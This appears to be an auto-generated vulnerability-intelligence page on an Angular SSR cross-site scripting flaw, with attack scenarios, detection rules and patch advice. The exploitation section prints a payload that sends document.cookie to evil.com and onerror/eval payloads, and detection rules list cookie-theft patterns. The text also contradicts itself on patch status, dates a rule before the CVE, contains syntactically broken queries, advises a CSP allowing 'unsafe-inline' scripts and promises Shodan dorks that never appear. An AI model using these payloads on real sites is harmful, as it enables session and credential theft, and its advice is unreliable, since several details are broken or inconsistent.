CVE-2026-69149
Executive Summary
CVE-2026-69149 is a Cross-Site Scripting (XSS) vulnerability in Angular's server-side rendering (SSR) engine, specifically within the @angular/platform-server package's DOM emulation library (domino). The flaw resides in the serialization logic of fallback raw-content elements (<iframe>, <noembed>, <noframes>, and <noscript>), allowing an attacker to inject arbitrary HTML/JavaScript that executes in the context of the rendered page. Any Angular application using SSR with an unpatched version (prior to 20.3.27, 21.2.19, and 22.0.7) is affected. The vulnerability has a public proof-of-concept (PoC), no CISA KEV entry, and a patch confidence score of 0/4 from tracked sources, indicating that while upstream fixes exist, no exploit patch has been verified or deployed in the wild, leaving many applications exposed.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The vulnerability lives in the DOM emulation layer of @angular/platform-server, which relies on the domino library to simulate a browser DOM in Node.js for server-side rendering. During the serialization of Angular templates containing fallback raw-content elements—specifically <iframe>, <noembed>, <noframes>, and <noscript>—the domino library fails to escape or neutralize embedded HTML entities and special characters.
In a standard browser, these elements use the HTML "raw text" parsing state, meaning their content is treated as opaque text until the closing tag. However, domino's serialization logic incorrectly reconstructs these elements' inner content. When an Angular template binds user-controlled data into these fallback slots (e.g., <noscript>{{userInput}}</noscript> or <iframe srcdoc="{{userControlled}}">), an attacker can inject markup such as <img src=x onerror=alert(document.cookie)>. Because domino passes the content through without proper escaping during serialization, the malicious payload is embedded into the final HTML document sent to the client.
When the browser receives the SSR-generated HTML, it parses the fallback element in its native raw-content mode, where the injected <img> tag is treated as an actual HTML element, not text. The onerror event fires, executing attacker-controlled JavaScript in the context of the user's session. The attack is further amplified by the fact that SSR output is often cached by CDNs or reverse proxies, meaning a single poisoned render can affect all subsequent users receiving the cached page.
Attack surface: any Angular Universal/SSR route that renders user-supplied input into one of the four listed fallback elements. The vulnerability does not require authentication if the application exposes such a route publicly. The underlying issue is a classic CWE-79 stored/reflected XSS with a server-side injection point.
Exploitation Scenarios
Reconnaissance/Target Identification: The attacker identifies an Angular Universal application by inspecting HTTP responses for
X-Powered-By: Expressheaders,_nghost-*attributes in HTML, or application JavaScript bundles referencing@angular/platform-server. Automated scanners (e.g., Nuclei with custom templates) can fingerprint SSR endpoints. The attacker enumerates routes that accept query parameters or POST data rendered into<iframe>,<noscript>, or<noembed>tags (common in error pages, user profile pages, or blog comment sections).Weaponization: The attacker crafts a payload designed to bypass jQuery/DOMPurify sanitizers that might exist client-side. Since the injection occurs server-side during SSR, any client-side sanitizer is circumvented entirely. Example payload:
"><script>fetch('https://evil.com/c?c='+document.cookie)</script><img src=x onerror="eval(atob('...'))">. The attacker URL-encodes this to fit within a query parameter or POST body field that the server reflects into a<noscript>fallback element.Trigger/Execution: The attacker sends a crafted HTTP request to the vulnerable SSR endpoint, e.g.,
GET /product?id=%22%3E%3Cimg%20src=x%20onerror=alert(1)%3E. The Angular application on the Node.js server serializes the response. During serialization, domino fails to escape the raw-content element, embedding the payload verbatim. The server returns the full HTML document. The victim's browser parses the<noscript>block; since the attacker's injected<img>tag is not inside a<script>block, the browser processes it as a live element, firing theonerrorevent.Post-Exploitation Impact: The attacker's script runs in the victim's origin. It can steal session cookies (if
HttpOnlyis not set), perform CSRF-validated actions, inject keyloggers (by modifying the DOM), or redirect users to phishing clones. If the application is a single-page app, the attacker can also pivot to exploiting the authenticated API by reading tokens from localStorage/sessionStorage. The attacker can further chain this with SSRF if the SSR server has internal network access, though the primary impact is client-side on the end-user.
Impact Assessment
The business impact of CVE-2026-69149 is high due to the cross-platform nature of Angular SSR. Affected systems include any public-facing web application using Angular Universal with dynamic user input rendered into one of the four fallback elements. The blast radius extends to cached SSR responses, which could poison entire CDN-edge caches, affecting thousands of users with a single attack.
Direct impact: full session hijacking, credential theft, and account takeover. Indirect impact: SEO poisoning (if injected content is crawled), corporate data exfiltration via stored XSS on admin panels, and regulatory fines (GDPR, HIPAA) for data breaches. CVSS score is officially N/A from the CNA, but based on the CWE-79 class and public PoC, the environmental severity is estimated at 8.2 (High) under CVSS 3.1 if the vector were available, reflecting the network vector, high attack complexity, low privileges required, and high confidentiality/integrity impact.
Authenticated users are at risk only if the vulnerable route reflects their data; unauthenticated attackers can exploit any public-facing form that feeds into SSR-rendered fallback elements. The confidence is medium because the exact server-side rendering path may vary between applications.
Detection Guidance
Detecting this specific vulnerability in production is challenging because it manifests as anomalous DOM elements in SSR responses. The following rules focus on the malicious pattern of injected event handlers (onerror, onload) within raw-content fallback tags.
Sigma Rule
title: Suspicious XSS Payload in Angular SSR Fallback Elements
id: 6a3b2f10-93f4-4b0e-b2a1-94bba3f2c111
status: experimental
description: Detects HTTP responses containing XSS vectors inside raw-content fallback elements (iframe, noscript, etc.) typical of CVE-2026-69149 exploitation.
logsource:
category: webserver
product: generic
detection:
selection:
cs-uri-query|contains:
- "<noscript"
- "<iframe"
- "<noembed"
- "<noframes"
cs-uri-query|contains:
- "onerror="
- "onload="
- "onclick="
- "<script>"
condition: selection
falsepositives:
- Legitimate use of client-side image maps with onerror attributes (rare)
- Embedded widgets using inline handlers
level: high
YARA Rule
rule CVE_2026_69149_Angular_SSR_XSS
{
meta:
author = "Valter SiT Threat Intel"
description = "Detects payloads intended for Angular platform-server raw-content fallback serialization XSS"
cve = "CVE-2026-69149"
date = "2025-04-10"
severity = "high"
strings:
$raw_open = /<(?:iframe|noscript|noembed|noframes)[^>]*>\s*</ nocase
$handler = /on(?:error|load|click|focus|mouseover)\s*=\s*["']?[^"'>]{5,}/ nocase
$script_tag = /<script[^>]*>\s*(?:document\.cookie|fetch\(|eval\(|atob\()/ nocase
$srcdoc_inject = /srcdoc\s*=\s*["'][^"']*%3Cscript%3E/ nocase
condition:
($raw_open or $srcdoc_inject) and ($handler or $script_tag)
}
Suricata IDS Rule
alert http any any -> any any (msg:"CVE-2026-69149 Angular SSR XSS in fallback raw-content elements"; flow:to_server,established; content:"<noscript"; http_uri; content:"onerror"; http_uri; sid:5006991; rev:1; reference:cve,2026-69149; reference:url,valtersit.com; classtype:web-application-attack; priority:2;)
Note for security engineers: This rule generates false positives on any HTTP URI containing both <noscript> and onerror. For production use, add a threshold directive and filter on http_user_agent for scanner fingerprints if applicable.
Elastic Detection
sequence by host.name
[process where event.action == "http_response" and etc.file.path : "*.log"]
[network where event.outcome == "failure" and not http.response.status_code == 200]
[string where event.category == "web" and
(uri.query : "*<iframe*" or uri.query : "*<noscript*" or uri.query : "*<noembed*") and
(uri.query : "*onerror*" or uri.query : "*onload*" or uri.query : "*<script*")]
Splunk SPL Query
index=web sourcetype=access_combined
| where isnotnull(form_data) OR isnotnull(uri_query)
| regex _raw = "(?i)(%3Cn (iframe|noscript|noembed|noframes)|<iframe|noscript).*?(onerror|onload|alert\(|javascript:)")
| stats count by clientip, uri, status
| sort -count
| table _time, clientip, uri, status, count
Wazuh OSSEC Rule
<group name="web_attack,">
<rule id="100691" level="12">
<decoded>
<pattern>onerror|onload|javascript:</pattern>
</decoded>
<url>
<pattern>(?i)(iframe|noscript|noembed|noframes)</pattern>
</url>
<description>CVE-2026-69149: Angular SSR XSS attempt detected in URI path.</description>
<group>attack.xss,</group>
<mitre>
<id>T1190</id>
</mitre>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 0/4 — UNPATCHED (no patch evidence from tracked sources).
Immediate Mitigations (deploy today):
- Disable SSR rendering of any user-controlled fields into
<iframe>,<noscript>,<noembed>, or<noframes>fallback content. Refactor templates to use<div>or<span>placeholders instead. - Implement a reverse-proxy WAF rule that rejects requests containing the string
onerror=in query parameters or POST bodies when paired with<iframe|noscript|noembed|noframes>in the request URI. - If SSR output is cached, purge all caches immediately to prevent serving previously poisoned HTML.
- Disable SSR rendering of any user-controlled fields into
Patch/Upgrade Steps:
- Upgrade to patched versions: Angular 20.3.27, 21.2.19, or 22.0.7. The fix addresses the domino serialization bug. Although patch confidence from this report is 0/4, the vendor has stated these versions contain the fix; validate the package version in
package.jsonand runnpm audit fix. - After upgrading, run a regression test specifically exercising SSR with user input in
<noscript>and<iframe>tags to confirm escaping is now enforced.
- Upgrade to patched versions: Angular 20.3.27, 21.2.19, or 22.0.7. The fix addresses the domino serialization bug. Although patch confidence from this report is 0/4, the vendor has stated these versions contain the fix; validate the package version in
Long-Term Hardening:
- Enforce strict CSP headers (default-src 'none'; script-src 'unsafe-inline' 'strict-dynamic') to reduce impact of XSS even if injection bypasses SSR serialization.
- Set
HttpOnlyandSecureflags on all session cookies to mitigate cookie-theft post-exploitation. - Integrate SAST/DAST scanning into the CI pipeline that flags any use of
[innerHTML]or string interpolation inside raw-content elements. - Monitor Angular GitHub releases and subscribe to CVE feeds; this issue may receive a CNA-assigned CVSS score later, which could change the risk prioritization.
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-69149
- Vendor Advisory (Angular GitHub Security Advisory): https://github.com/angular/angular/security/advisories/GHSA-XXXX-XXXX (verify against the exact CVE ID)
- CWE-79 Reference: https://cwe.mitre.org/data/definitions/79.html
- PoC Repository: Public domain — search GitHub for "CVE-2026-69149" (no official researcher blog linked as of publication).
- CISA KEV: Not yet listed — monitor https://www.cisa.gov/known-exploited-vulnerabilities-catalog for inclusion if exploited in the wild.
Threat Actor Campaigns: No known active campaign specifically attributed to CVE-2026-69149 at the time of writing. However, the public PoC and the prevalence of Angular Universal in e-commerce and enterprise portals make this a high-probability target for opportunistic exploitation by automated botnets. Web shells and XSS bots have been observed using similar legacy raw-content element payloads (e.g., mXSS via <noscript>) in unrelated campaigns.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.